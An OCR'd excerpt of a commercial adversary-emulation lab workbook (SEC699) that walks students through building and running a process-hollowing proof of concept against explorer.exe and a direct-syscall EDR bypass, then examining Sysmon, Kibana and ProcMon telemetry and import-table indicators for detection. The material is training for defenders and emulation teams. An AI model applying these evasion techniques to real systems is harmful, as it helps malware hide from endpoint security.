1 hit
Apr 5, 2020 @ 00:00:00.000 - Apr 11, 2020 @ 23:569:59.999 —  Auto ~
00 2020-04-07 00:0G 2020-04-08 00:00 2020-04-08 00:00 2020-04-10 00:00 2020-04~11 0G:00
@timestamp per 3 hours

Ssource

message: Process Create: RuleName: UtcTime: 20820-84-11 14:35:49.802 ProcessGuid: {983beff7-
dSc5-5e91-A080-80816ce7c8081) ProcessId: 6872 Image: C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe
FileVersion: 18.8.17763.1 (WinBuild.1681@1.888@) Description: Windows PowerShell Product: Microsofte Windowse
Operating System Company: Microsoft Corporation OriginalFileName: PowerShell,.EXE CommandLine: powershell.exe
-NoExit -c Write-Host 'Hello World!' CurrentDirectory: C:\Windows\System32\ User: sec699-28\student_ladm

When expanding the event, you'll see the following details:

t process.
f process.
t process,
t process,
t process.
t process
t process
t process.
# process,
# process,

I process.

args

entity_id

executable

name

parent

.parent

.parent

parent
parent

pid

.args
-entity_id
.executable
.name

.pid

working_directory

powershell.exe, -NoExit, -c, Write-Host, 'Hello, World!'
{983beff7-d5c5-5e91-8080-8018ce7c0881 )
C:\Windows\System32\WindowsPowerShell\v1.8\powershell,exe
powershell.exe
C:\Users\student_ladm\Desktop\CommandSpoofer .exe
{983beff7-d5c5-5¢91-0088-801056750601 }
C:\Users\student_ladm\Desktop\CommandSpoofer .exe
CommandSpoofer .exe

3592

6872

C:\Windows\System32\

No luck here either, as Sysmon reports the "fake" command line and not the actual one that
was executed...

Step 3: Ideas for increased visibility

As you can see above, detecting the spoofing tricks will require additional visibility, as Sysmon
is not sufficient. We'd like to highlight two options for additional visibility:
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Event Tracing for Windows (ETW)

Event Tracing for Windows (ETW) provides application programmers the ability to start
and stop event tracing sessions, instrument an application to provide trace events, and
consume trace events. Trace events contain an event header and provider-defined data
that describes the current state of an application or operation. You can use the events to
debug an application and perform capacity and performance analysis.

Source: docs.microsoft.com

Using ETW, we can get finegrained visibility on process activity on the Microsoft OS. We could
thus look for the behavior exhibited by our spoofing tricks (e.g. creating a process with an
explicit parent process ID or creating a process in a suspended state). A tool that implements
such techniques is Memhunter:

Memhunter

Memhunter is an endpoint sensor tool that is specialized in detecing resident malware,
improving the threat hunter analysis process and remediation times. The tool detects and
reports memory-resident malware living on endpoint processes. Memhunter detects
known malicious memory injection techniques. The detection process is performed
through live analysis and without needing memory dumps. The tool was designed as a
replacement of memory forensic volatility plugins such as malfind and hollowfind. The
idea of not requiring memory dumps helps on performing the memory resident malware
threat hunting at scale, without manual analysis, and without the complex infrastructure
needed to move dumps to forensic environments.

The detection process is performed through a combination of endpoint data collection
and memory inspection scanners. The tool is a standalone binary that, upon execution,
deploys itself as a windows service. Once running as a service, memhunter starts the
collection of ETW events that might indicate code injection attacks. The live stream of
collected data events is feed into memory inspection scanners that use detection
heuristics to down select the potential attacks. The entire detection process does not
require human intervention, neither memory dumps, and it can be performed by the tool
itself at scale.

Source: github.com/marcosd4h/memhunter

Another interesting open-source initiative by the same person is SysmonX, which claims to
provide increased visibility that can detect the spoofing tricks used in the lab:

SysmonX
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SysmonX is an open-source, community-driven, and drop-in replacement version of
Sysmon that provides a modularized architecture with the purpose of enabling the
infosec community to:

-Extend the Sysmon data collection sources and create new security events

-Extend the Sysmon ability to correlate events. Effectively enabling new logical operations
between events and the creation of advanced detection capabilities

-Enrich the current set of events with more data!

-Enable the false positive reduction by narrowing down suspicious events through
dedicated scanners

-Extend the security configuration schema

-React to known subversion and evasion techniques that impact Sysmon, and by doing so,
increasing the resilience of security auditing and data collection mechanism such as this
one.

SysmonX is composed of a standalone binary that gets itself deployed as a windows
service, supports legacy Sysmon configurations and event reporting mechanism, while
also providing users the ability to configure all the SysmonX aspects through command-
line interface.

Source: github.com/marcosd4h/sysmonx

As the above ETW-based approaches are currently hard to leverage in an enterprise context,
we haven't currently included them in our lab exercise. Feel free to however play with them if
you have time left!

Conclusions

During this lab, we demonstrated the following highly useful skills:

e How to spawn a process with a fake parent process ID
e How to spoof command-line arguments upon process execution
e Possible strategies for detection

As we observed, detection of these tricks is not that straight-forward and will require in-depth
visibility on the OS, using for example ETW (Event Tracing for Windows).

After the lab, please stop your target environment. In order to do so, please use the following
command:
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cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 4: Bypassing Modern Security Products - Process
Hollowing

In the previously covered techniques, we've seen how to spoof a process' context (parent and
arguments). These techniques however have the down-side that the process itself is still known
(i.e. PowerShell for the argument spoofing and Notepad for the child-parent spoofing). Process
hollowing is a more advanced technique which can allow adversaries to stay under the radar!

T1093 - Process Hollowing

Process hollowing occurs when a process is created in a suspended state then its memory
is unmapped and replaced with malicious code. Similar to Process Injection, execution of
the malicious code is masked under a legitimate process and may evade defenses and
detection analysis.

Source: attack.mitre.org

This exercise will guide you through the hollowing of a process and the different detection
approaches for it.

Lab Setup & Preparation
Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Hollowing a Process
Hollowing out a process requires a low-level access to the Windows internals. This objective will

guide you through the retrieval of a proof-of-concept code and how this can be used to run as
another process.
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Step 1: Getting the Process Hollower

To avoid the long and complex research and development linked to practical process
hollowing, we will base ourselves on one of the orginial process-hollowing PoCs, namely the
proof-of-concept published by mOnOph1.

More recent / modern tools that can be used for process hollowing include:

Donut

Donut is a position-independent code that enables in-memory execution of VBScript,
JScript, EXE, DLL files, and dotNET assemblies. A module created by Donut can either be
staged from a HTTP server or embedded directly in the loader itself. The module is
optionally encrypted using the Chaskey block cipher and a 128-bit randomly generated
key. After the file is loaded and executed in memory, the original reference is erased to
deter memory scanners.

Source: github.com/TheWover/donut

TikiTorch

TikiTorch was named in homage to CACTUSTORCH by Vincent Yiu. The basic concept of
CACTUSTORCH is that it spawns a new process, allocates a region of memory, then uses
CreateRemoteThread to run the desired shellcode within that target process. Both the
process and shellcode are specified by the user.

This is pretty flexible as it allows an operator to run an HTTP agent in a process such as
iexplore.exe, rather than something more arbitrary like rundll32 or powershell.

TikiTorch follows the same concept but has multiple types of process injection available,
which can be specified by the user at compile time.

Source: github.com/rasta-mouse/TikiTorch
A great read where Donut is combined with TikiTorch to stage Covenant can be found on the

Rastamouse blog.

As this step will rely on Visual Studio, we will load and compile the code on the CommandoVM
machine. The binary will later be transfered to a target machine.

Getting the Source-Code

To start compiling our very own process-hollowing binary, let's first retrieve the source-code.
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Based on the above mentioned proof-of-concept, you can download a pre-arranged project to
your CommandoVM machine. Although experienced students may start from the original
proof-of-concept, we have already pre-arranged a project with the following modifications:

Retargeted the project to a more recent SDK.

Modified the replacement binary from a message box to a console.
Swapped the target process from svchost.exe t0o explorer.exe.
Removed the pause system call.

Once downloaded, proceed to extract the project by right-clicking the Process-Hollowing.zip
file and selecting the "Extract to Process-Hollowing\" option.

From there, drill-down the "Process-Hollowing" directory until a ProcessHollowing.sln solution
file appears.

Once located, open the ProcessHollowing.sln file in Visual Studio.
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340 STl S Salul,

Building the Process Hollowing Binary

As opposed to the previous projects seen in these labs, the "ProcessHollowing" solution actually
contains two projects:

e "HelloWorld" is the binary which will be placed into the hollowed process (the "payload").
e "ProcessHollowing" is the binary which will hollow-out a target process and fill it with the
above-mentioned "HelloWorld" binary.

If you are interested (and have a development background), take some time to read and
understand the source-code of HelloWorld.cpp and ProcessHollowing.cpp (they can be
found in the respective project's "Source Files" directories):

Note that at the bottom of the ProcessHollowing.cpp, you'll find the following lines of code:
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int _tmain(int argc, _TCHAR*x argv[])

{
char* pPath = new char[MAX_PATH];
GetModuleFileNameA(0, pPath, MAX_PATH);
pPath[strrchr(pPath, "\\') - pPath + 1] = 0;
strcat(pPath, "helloworld.exe");
CreateHollowedProcess
(
"explorer",
pPath
)
return 0;
}

The PoC code will spawn an explorer.exe process and will replace its contents with
helloworld.exe !

Let's compile and test! Please make sure you are creating a "Release" build, not a "Debug"
build. This can be simply changed in the Visual Studio dropdown list.

D File Edt View Project Build Debug Test Analyze Tools

Po-0 B2 WP T -0 - Relesse - Wink2 -
E.:‘I

Once ready to build the two binaries, select the "Build Solution" option located in the "Build" tab
as seen below.

Note: Attentive students might notice that we do target a 32-bit based architecture instead of our
target's 64-bit support. The reason for this is that one of the "ProcessHollowing" project's header files
( pe.h) relies on Visual Studio's inline assembler capability. Although extremely handy in these hacky
situations, Visual Studio hasn't deemed this feature important enough to be ported to the 64-bit
architecture, leaving us with the only supported 32-bit targets. This does not mean that the attack
vector is only possible through 32-bit processes as tools relying on the GCC/Clang compilers (i.e.
JetBrain's CLion) can use inline assembly for 64-bit based architectures.
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Build
4 Build Solution.

Ctrl ¢ Shift 48

The solution should build in a few seconds, after which you'll get a sucessfull output as shown
below.

Show outputfrom:  Build Yl EEE[E]
1>Generating code '

1>Previous IPDB not found, fall back to full compilation.
1>Finished generating cods

1>A11 11 functions were compiled because no usable IPDB/IOBJ from previous compilation was Found.

1>ProcessHollowing.vexproj -> Ci\Users\student\Downloads\Process-Hollowing\Release\ProcessHollowing.exe
1>Done building project “ProcessHollowing.vcxproi®.

Build: 2 succesded, @ faziled, @ up-to-date, @ skippsd

If everything went as expected, you should have a similarly-looking output where the path to
both HelloWorld.exe and ProcessHollowing.exe are mentioned.
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2>stdafx.cpp

1>stdafx.cpp

2>HelloWorld.cpp

1>PE.cpp

1>ProcessHollowing.cpp

1>C:\Users\student\Downloads\Process-
Hollowing\ProcessHollowing\ProcessHollowing.cpp(112,3): warning C4477:
'printf' : format string '%p' requires an argument of type 'void x', but
variadic argument 1 has type 'DWORD'

1>C:\Users\student\Downloads\Process-
Hollowing\ProcessHollowing\ProcessHollowing.cpp(118,9): warning C4477:
'printf' : format string '%p' requires an argument of type 'void x', but
variadic argument 1 has type 'DWORD'

1>C:\Users\student\Downloads\Process-
Hollowing\ProcessHollowing\ProcessHollowing.cpp(294,2): warning C4996:
'strcat': This function or variable may be unsafe. Consider using strcat_s
instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help
for details.

1>C:\Program Files (x86)\Windows
Kits\10\Include\10.0.18362.0\ucrt\string.h(90): message : see declaration of
'strcat'

2>Generating code

2>Previous IPDB not found, fall back to full compilation.

2>A1l 4 functions were compiled because no usable IPDB/IOBJ from previous
compilation was found.

2>Finished generating code

2>HelloWorld.vcxproj -> C:\Users\student\Downloads\Process-
Hollowing\Release\HelloWorld.exe

1>Generating code

1>Previous IPDB not found, fall back to full compilation.

1>Finished generating code

1>A1l 11 functions were compiled because no usable IPDB/IOBJ from previous
compilation was found.

1>ProcessHollowing.vcxproj —-> C:\Users\student\Downloads\Process-
Hollowing\Release\ProcessHollowing.exe

1>Done building project "ProcessHollowing.vcxproj".

========== Build: 2 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

Step 2: Starting ProcMon

As we did in the previous lab, we can launch a local monitoring solution on our target domain-
joined host. To do so, let's open an RDP connection to the WIN10 machine ( 192.168.20.105)
using the student account (password Sec699!!).

To launch ProcMon on the target machine, proceed to open an prompt such as PowerShell. To
do so, use the start-menu's search functionality and look for "Windows PowerShell" as shown

248 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

below.

£ Windows PowerShell

In the newly launched prompt, let's proceed to download the Sysinternals' ProcMon64.exe
local monitoring solution if not yet present.

curl.exe -o .\Downloads\ProcMon64.exe s.com/ProcMon64.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1149k 1600 1149k (0] 0 1149k 0 0:00:01 —--:--:-- 0:00:01 2299k

To launch ProcMon on the target machine, proceed to open a PowerShell prompt and launch
ProcMoné64.exe With the accepted EULA terms ( -accepteula). As we want to run ProcMon with
administrative privileges, you'll need to provide credentials for an administrative account.
Please use your student_ladm local administrator user (password Sec699!!).

runas /user:sec699-20\student_ladm ".\Downloads\ProcMon64.exe —-accepteula"
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Remember that you still may have filters from a previous exercise enabled. Please reset these
by clicking the "Reset” button followed by "OK".

As we did previously, make sure that ProcMon is recording. Should the "Process Monitor"
window's magnifying glass be crossed as below, make sure to click it once in order to toggle the
recording state.

Step 3: Executing the Process Hollowing attack

As we are now ready to execute our process hollowing attack, we can drop both
HelloWorld.exe and ProcessHollowing.exe on the target machine over the already opened
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RDP connection. To do so from your CommandoVM machine, copy the binaries from the paths
previously obtained in Visual Studio's output. As we can copy/paste files over RDP, proceed to
paste them both on the target machine (i.e. 192.168.20.105 ) in a same folder you will find
back (i.e. HOMEPATH%/Downloads ).

As a first step, please execute the HelloWorld.exe executable (e.g., by double-clicking). You'll
notice that it doesn't do much, but presents us with a console window and a SEC699 greeting:

B ' C\Users\student_ladm\Desktop\HelloWorld.exe — | X

As a next step, let's execute ProcessHollowing.exe .You should see that a similar window
appeared, but this time, it's actually explorer.exe (asyou can see in the title bar of the
command prompt window).

v CAWindows\SYSTEM32\ explorer.exe - Ll X

Step 4: Reviewing the Results

So what does this look like from an analyst point of view?

From ProcMon's "Tools" menu, proceed to open the "Process Tree...".
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CHl+T

Scroll down in the opened "Process Tree" window and locate ProcessHollowing.exe's
explorer.exe child.

AN
CaINDIDWS

Even though it is obvious another process is running as Explorer, ProcMon reports our

malicious hollowed-out process to be the legitimate explorer.exe.Even more interesting are
the following properties:

e |ts description matches the legitimate process' description.
e |ts path matches the legitimate explorer.exe.
e The execution command does not reflect any malicious activity.
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e The process seems signed by Microsoft as this is checked at process creation.

Another devious trick!

Objective 2: Detecting Process Hollowing

Can we detect process hollowing? Let's find out... From your CommandoVM machine, head
over to the Kibana instance at http://192.168.20.106:5601 .

Step 1: Checking the Process

From our ELK stack's Kibana (http://192.168.20.106:5601), let's try to identify the events that
took place. To do so, please go to the "Discover" view (compass icon) and search for processes
that were launched by our Process-Hollowing tool ( ProcessHollowing.exe ):

You can use the following query for this:

event.code:1 and process.parent.name:ProcessHollowing.exe

New Save Open Share Inspect
[5] ~ eventcode:1and process.parent.name:ProcessHollowing.exe KQL B~ Apr12, 2020 @ 05:57:06.08 = Apr 12, 2020 @ 10'16:48.69

®  + Add filter

winlogbeat-* e 1 hit

Q Apr 12, 2020 @ 05:57:06.086 - Apr 12, 2020 @ 10:16:48.695 —  Auto ~

& Filter by type 0 b
Selected fields g °

‘ 8 =

o _Source

0.2

Available fields

Popular 06:00 06:20 02:00 0830 0200 09:30

¢ process.execitable @timestamp per 5 minutes

t [ocess.name Time » -source

t process.parent.exec... 7 Apr 12, 2028 € ©6:84:24.853  eyvent.code: 1 process.parent.name: ProcessHollowing.exe €timestamp: Apr 12, 2028 @ 86:94:24.053

B message: Process Create: RuleName: UtcTime: 2828-84-12 11:84:24.853 ProcessGuid: {983beff7-
1 process.parenLname
f5h8-5e92-0606-2010d8a18803) ProcessId: 6676 Image: C:\Windows\SysWOW64\explorer.exe FileVersion: 18.8.17763,719

¢ Winiog.eveniid (WinBuild.168101,8808) Description: Windows Explorer Product: Microsofte Windowse Operating System Company:

B @timestamp Microsoft Corporation OriginalFileName: EXPLORER.EXE CommandLine: explorer CurrentDirectory: C:\Users\student_ladm

¢ _id

When you expand the event, you'll find the following details:
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{ process.args explorer

t process.entity_id {983beff7-f5bB-5¢92-0000-0010d8a18883}
t process.executable C:\Windows\SysWOW64\explorer.exe
t process.name explorer.exe
t process.parent.args C:\Users\student_ladm\Desktop\ProcessHollowing.exe
t process.parent.entity_id {983beff7-f5b7-5¢92-0060-0018fb978803}
t process.parent.executable C:\Users\student_ladm\Desktop\ProcessHollowing.exe
¢t process.parent.name ProcessHollowing.exe
# process.parent.pid ga44
i # process.pid 6676

The details reveal that only explorer.exe was spawned by our ProcessHollowing.exe . There
is no mention of our HelloWorld.exe binary, even though its payload was executed...

Step 2: Digging a little bit deeper

The identified process, explorer.exe, seems legitimate (it actually is when the event was
triggered). As we can see, a hash is even available. This process is actually turned into a
malicious one after it has been created, hence no events can reflect this change.

event.action

process.executable
crestad-process C:\Windows\Systam32iconhost.exa

Process Greate (rule: ProcessCreate) Ci\HIndows\SyshonEL esplorer .exe 9872bdb7d624249867267c2d7d508427 351 9364d0dchaaba7e2267 febTedn262

cregted-process C:\KIndowsiSysWoNG4\explorer .exe

To confirm the events are right, feel free to lookup the SHA256 hash of explorer.exe (
579a8922d4920bc39b9733706c9327c5544d91294293924b588ba266d1a2d280 ) on VirusTotal.

You'll find that it is indeed the legitimate explorer.exe (scroll down in the results to the
"Signature Info"):
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Signature Info
Signature Verification

( "’/. \I

) Signed file, valid signature

File Version Information

Copyright © Microsoft Corporation. All rights reserved.
Product Microsoft® Windows® Operating System
Description Windows Explorer

Original Name  EXPLORER.EXE

Internal Name  explorer

File Version 10.0.17763.719 (WinBuild.160101.0800)
Date signed 11:32 AM 8/13/2019

Signers
+  Microsoft Windows
+  Microsoft Windows Production PCA 2011

+ Microsoft Root Certificate Authority 2010

Step 3: Alternative means for detection

Sysmon logs clearly do not reflect that process hollowing occurred, so how could we detect
this? As previously mentioned, tools that provide deeper visibility (based on ETW) could help us
here.

There's two interesting approaches to detect this attack strategy:

e Detect processes that are running for indications of hollowing. Excellent examples of this
are pe-sieve and hollows_hunter . These tools don't run at real-time, though, and thus

require (periodic) manual scanning of suspected systems.
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e Detect and alert upon executables / tools that have process hollowing capabilities.

Hollowing out a process "usually" requires a specific set of functions which have to be imported
(CAVEAT: Not always, we'll see more about this in the next lab). One common approach can
hence be to detect the imports or usage of these functions combined:

e LoadLibraryA is used toload a library during a binary's execution. This function often
indicates that a library (exe, d11, ...) is leveraged without being loaded from the start. In
our case, this function will load the HelloWorld.exe binary.

e CreateProcessA is used to create a child process. Although common, its presence
indicates that we should be on the lookout for functions such as the following ones.

© ReadProcessMemory, VirtualAllocEx and WriteProcessMemory used together
outline the binary's ability to modify the content of a process. In our case, these
were used to place the HelloWorld.exe binary into the target process.

O GetThreadContext, SetThreadContext and ResumeThread outline not only the
binary's ability to change a thread's context but furthermore that a thread which is
suspended can get resumed. In our case, the suspended thread is the legitimate
explorer.exe which we resume once its content was switched with
HelloWorld.exe.

Putting these all together should definitely raise some flags... Viewing a process' imported
functions can be done through its import table. As an example, below is the import table as
viewed in PEview.

L3 pEview - CAsers\User\Desktop\ProcessHollowing.exe _ a =
File View Go Help

2000 Q | FH| @ =

- ProcessHollowing exe pFile Data Description Value L
IMAGE_DOS_HEADER 00001A00  0D0003C3C Hint/Name RVA 03C1 LoadLibraryA
IMAGE_DEBUG_TYPE_ 00001A04  00003C4C  Hint/Name RVA 02AE GetProcAddress
MS-DOS Stub Program 00001408 00003C5E  Hint/Name RVA 0476 ReadProcessMemary

= IMAGE_NT_HEADERS 00001A0C  00003C72 Hint/Name RVA 00ED CreateProcessA
Signature 00001A10 00003C84  Hint/Name RVA 00C3 CreateFileA
IMAGE_FILE_HEADER 00001A14  00003C32 Hint/Name RVA 024B GetFileSize
IMAGE_OPTIONAL_HEADER 00001A18  00003CAQ Hint/Name RVA 0473 ReadFile
IMAGE_SECTION_HEADER text 00001A1C  00003CAC Hint/Name RVA 0275 GetModuleHandleA
IMAGE_SECTION_HEADER .rdata 00001A20  00003CCO  Hint/Name RVA 05C7 VirttualAllocEx
IMAGE_SECTION_HEADER .dasta 00001A24  00003CD2 Hint/Name RVA 0618 WriteProcessMemory
IMAGE_SECTION_HEADER rsrc 00001A28  00003CE8 Hint/Name RVA 02F7 GetThreadContext
IMAGE_SECTION_HEADER _reloc 00001A2C  00003CFC Hint/Name RVA 0554 SetThreadContext
SECTION text 00001A30  00003D10 Hint/Name RVA 04CD ResumeThread
= SECTION _rdata 00001A34 00003020 Hint/Name RVA 0273 GetModuleFileNameA
00001A38  0000419E  Hint/Name RVA 037F IsDebuggerPresent
- IMAGE_DEBUG_DIRECTORY 00001A3C 00004188 Hint/Name RVA 0363 InitializeSListHead
- IMAGE_LOAD_CONFIG_DIRECTORY 00001A40  0000416E Hint/Name RVA 02E9 GetSystemTimeAsFileTime
IMAGE_DEBUG_TYPE_CODEVIEW 00001A44 00004158  Hint/Name RVA 021C GetCurrentThreadid
IMAGE_DEBUG_TYPE_ 00001A48 00004142 Hint/Name RVA 0218 GetCurrentProcessld
- IMAGE_DEBUG_TYPE_ 00001A4C 00004128 Hint/Name RVA 044D QueryPerformanceCounter
IMPORT Directory Table 00001A50  0000410C  Hint/Name RVA 0386 IsProcessorFeaturePresent
IMPORT Name Table 00001A54 000040F8  Hint/Name RVA 058C TerminateProcess
IMPORT Hints/Names & DLL Names 00001A58  000040E4 Hint/Name RVA 0217 GetCurrentProcess
SECTION .data 00001A5C 000040C6 Hint/Name RVA 056D SetUnhandledExceptionFilter
# SECTION .rsrc 00001A60 000040AA Hint/Name RVA 05AD UnhandledExceptionFilter
i SECTION _reloc 00001A64 00004182 Hint/Name RVA 0278 GetModuleHandleW
00001A68 00000000 End of Imports KERNEL32 dll
00001A6C  00003DAC Hint/Name RVA 001D __ current_exception_context
00001AT0  00003DCA Hint/Name RVA 0048 memset
00001AT4 00003DD4  Hint/Name RVA 0035 except handlerd common v
< >

Viewing IMPORT Address Table

In production enterprise environments, you could rely on endpoint security tools (AV, EDR,...) to
detect the combined usage of the above functions. Note that, upon uploading, the
ProcessHollowing.exe executable had a detection-rate of 10/72 on VirusTotal. This has likely
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already increased by now, but it shows that only 10 engines immediately triggered on the
combination of functions as described above. If you want to check out the current detection
state, please feel free to have a look on VirusTotal.

This outlines the importance of choosing a reliable endpoint security product to support your
detection capabilities. Do note that in a Windows-based production environment, the
ProcessHollowing.exe file would have been picked-up by Windows Defender as seen below:

E obo4933ed5743ad845eadd0ff02coed33d8ab735558 147 178918c8224fd2407a

\

10 | (1 10 engines

A

60640330574

detected this file

. SANS SECH99 ProcessHollawing exe

peske

DETECTION DETAILS

AhnLab-V3

BitDatenderTheta

Endgame

Microsoft

SentineiOne (Static ML)

Agrinis

AegisLab

ALYas

Arcabit

Avast-Mablie

Avira (o cioud)

BitDarendes

CAT-QuickHeal

e

BEHAVIOR

@) Undetected

7) Undetcted

Q ®

Unidetected

Undesecied

@) Undetected

(@) Undetected

7) Undetected

Hndatarian

T35558 14111891 8082241d2407a 13.00KB 2020-03-26 10:02:23 UTC %&,‘
. . XE

communiTy €9

SecuraAge APEX

e O

Cylanga
ESET-NOD32 (0]

Rising 0] Rt
VBAZ: (0]

Ad-Ausre 2

Ababa %) Ungetectad

Antly-AVL ) Undetected

Avast 7} Undeiscted

AVG %) Undetacted

Baidu (@) Undstected

Biav 7)) Undetected

ClamaV ¥) Undetected @
e

As previously shown in PEview, the ProcessHollowing.exe imported functions can also be
consulted through VirusTotal's Details view.

E 6b64933ed5743adB45ead46/T02c3ed33dBab735558 14F178918c8224fd2407a

Imports

+ KERNEL3Z.dN

GetSystemTimeAsFileTime

WriteProcessieniory

UnhandiedExceptionFilter
ReadProcessMemory
GetProcAddress
InitializeSListHead
GerThreadContext
GetModuleHandieA
ReatFlle
SetUnhanuiedExceptionFiter
IsProcessorFeaturePresent

CrealsFlieA

GeiCurrentThreadld
GalFileSize

+  VCRUNTIMEL40 il
4 aphms-win-cri-heap-11-1:0.dij
+  aphms-win-cri-locale-l1-1-0.dy

4 api-ms-win-cri-math-1-1-0.il
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Conclusions

During this lab, we demonstrated the following highly useful skills:

e How to leverage Process Hollowing to execute payloads stealthily
e Possible strategies for detection

As we observed, detection of these tricks is not that straightforward and will require in-depth
visibility on the OS, using for example ETW (Event Tracing for Windows).

After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 4: Bypassing Modern Security Products - Direct
System Calls

Through today's lecture and labs, we've seen multiple tricks that can be used to bypass trivial
detection of our payloads using Sysmon. A final technique we want to demonstrate in the lab is

leveraging direct system calls to bypass the Windows native API. This technique is aimed to
defeat security products (e.g. EDR tools) in an attempt to evade user-mode APl hooks.

This technique is increasingly used by malicious actors, as more and more samples appear that
implement such strategies. It is thus vital we can also emulate such techniques in our
adversary emulation exercises.

Lab Setup and Preparation
Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Bypassing the Windows Native API

This lab will introduce you to Windows Native API bypasses by performing syscalls directly into

the kernel mode. By performing an operation twice (legitematly and through a bypass), the
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objective of this lab will be to showcase why user-mode hooking can be evaded.

Step 1: Get the Source Code

Originally built by the Red Teaming Experiments, you can obtain a pre-arranged "Syscall”
project which contains all requirements and is ready to be compiled. As building the binary will
rely on Visual Studio, proceed to download the "Syscall” project on your CommandoVM
machine.

Once downloaded, proceed to select "Extract to Syscall\" in the right-click menu.

In the newly extracted folder, drill-down the path until you find the source-code files.

Once the syscall.sln file found, double-click it to open Visual Studio.
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Step 2: Build the Binary

With the source-code loaded in Visual Studio, we can see two main files in the "Source Files"
directory:

e Syscall.cpp contains the main source code
e sysntcreatefile.asm file contains a copy of the ntd1l1.d11 assembly (as we want to
avoid calling ntdll.d1l)

From the main functionin Syscall.cpp, you'll notice that the executable performs two tasks:

e Creates afile SEC699-WINAPI.txt in C:\Users\Public using the native Windows API
e Creates afile SEC699-SYSCALL.txt in C:\Users\Public leveraging direct syscalls

Before compiling, please make sure you are creating a "Release" build, not a "Debug" build.
This can be simply changed in the Visual Studio dropdown list.
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o0 B2 MR T -0 - Relese - @ -

saio|diq IsAm

Once you feel comfortable to build the binary, go ahead and select the "Build Solution" entry
from the "Build" menu.

After a couple of seconds, Visual Studio's output should should be similar to the below capture,
giving you the path to the compiled binary.
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o o Bl % 1= e e

1>Generating code

1>Finished generating code .

1>Previous IPDR pat found, Fall back to full compilation. :

13411 1 functions were compiled because no usable TPDB/IOR] From previous compilation was Found.
15Syscall.vexproj - C:ilsers callix scall
=== Build} 1 succesdad, @ failed, @ Up-to-date, @ skipped ==——=——s

I

The following output is expected if the build was successful:

I p=m==== Build started: Project: Syscall, Configuration: Release x64 —-—---
1>Assembling sysntcreatefile.asm...

1>Syscall.cpp

1>Generating code

1>Finished generating code

1>Previous IPDB not found, fall back to full compilation.

1>A1l 1 functions were compiled because no usable IPDB/IOBJ from previous
compilation was found.

1>Syscall.vcxproj —->
C:\Users\student\Downloads\Syscall\x64\Release\Syscall.exe

========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

Remember the path to the binary as you will need to copy/paste our tool onto your target
machine.

Step 3: Transfer the Binary

As we did in the previous lab, we can launch a local monitoring solution on our target domain-
joined host. To do so, let's open an RDP connection to one of the monitored domain-joined
machines (i.e. 192.168.20.105) using the student account (password Sec699!!).

From your Commando machine, copy the binaries from the path previously obtained in Visual
Studio's output. As we can copy/paste files over RDP, proceed to paste the Syscall.exe file on
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the target machine (i.e. 192.168.20.105) in a folder you will find back (i.e.
%HOMEPATH%/Downloads ).

LATFA20NEI5AM.  Application

Step 4: Prepare the Local Monitoring

To launch ProcMon on the target machine, proceed to open an prompt such as PowerShell.

In the newly launched prompt, let's proceed to download the Sysinternals' ProcMon64.exe
local monitoring solution if not yet present.

curl.exe -o .\Downloads\ProcMon64.exe https://live.sysinternals.com/ProcMon64.exe

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1149k 100 1149k (0] 0 1149k 0 0:00:01 --:--:-—- 0:00:01 2299k

To launch ProcMon on the target machine, proceed to open a PowerShell prompt and launch
ProcMon64.exe With the accepted EULA terms ( -accepteula ). As we want to run ProcMon with
administrative privileges, you'll need to provide credentials for an administrative account.
Please use your student_ladm local administrator user (password Sec699!!).

runas /user:sec699-20\student_ladm ".\Downloads\ProcMon64.exe -accepteula"

Should you already have ran ProcMon previously, you might get greeted by your previous
filters. If so, make sure to hit the "Reset” button followed by "OK".
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In order for us to easily find back the actions performed by our binary, let's define some
specific filters in ProcMon to exclude all but the interesting results. Start by pressing the funnel
icon highlighted below.

Filter on Process

The first filter we will define will limit all events to only those of our process. To do so, build the
" Process Name 1is Syscall.exe then Include "rule as observable below.
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Once done, press the "Add" button.

Filter on Path

The second filter we will make will limit the events to those whose path is where we will create
the files. To do so, build the " Path begins with C:\Users\Public\ then Include " rule as
seen below.

Once again, when done, press the "Add" button.

Filter on Operation
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A final filter to define is the one limiting the events to the file creations. This time, build the
" Operation is CreateFile then Include"rule.

Once done, press the "Add" button.

Apply Filters and Record

With all three filters added, proceed to apply them through the beneath outlined "OK" button.

Finaly, ensure you are recording. Should the bottom-left corner of ProcMon state "No
events (capture disabled)", make sure to click the crossed magnifying glass to toggle its state
into recording mode.
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No evens (cptuse dsble)

Step 5: Bypass the Windows Native API
We are now ready to bypass the Windows Native API! From the folder in which you placed the

Syscall.exe file (suggestion was %HOMEPATH%/Downloads ), proceed to double-click the
executable.

A0 N2Z5 AN Application

Step 6: Check the Results

Within seconds, you should see two events appear in ProcMon, after which you may stop the
recording if desired. These two events are the two file creations performed by our binary. As a
reminder, these were:

e Creates afile SEC699-WINAPI.txt in C:\Users\Public using the native Windows API
e Creates afile SEC699-SYSCALL.txt in C:\Users\Public leveraging direct syscalls
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ChlUsersiPublic\SECE353-WINAPIt  SUCCESS
Colsers'Public\SECE33-SYSCALLbe  BUCCESS

For each event, select the event using a left-click and, after right-clicking the selected event,
select the "Stack..." entry.

CAllnem\Plbiic\S FCEIS-W\

If you compare the two calls' stack, you will notice how the Windows Native API function (on the
left beneath, 12) makes requests transit through ntd11.d1l (11 ) before accessing the kernel
mode's ntoskrnl.exe (10).On the right, our bypass outlines how the Syscall.exe user-
mode executable (11 ) entered the kernel-mode's ntoskrnl.exe directly (10).
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K10 noskmlese  setmpes « 07505 OB 7R K10 nloskmiens selimpex + 00705

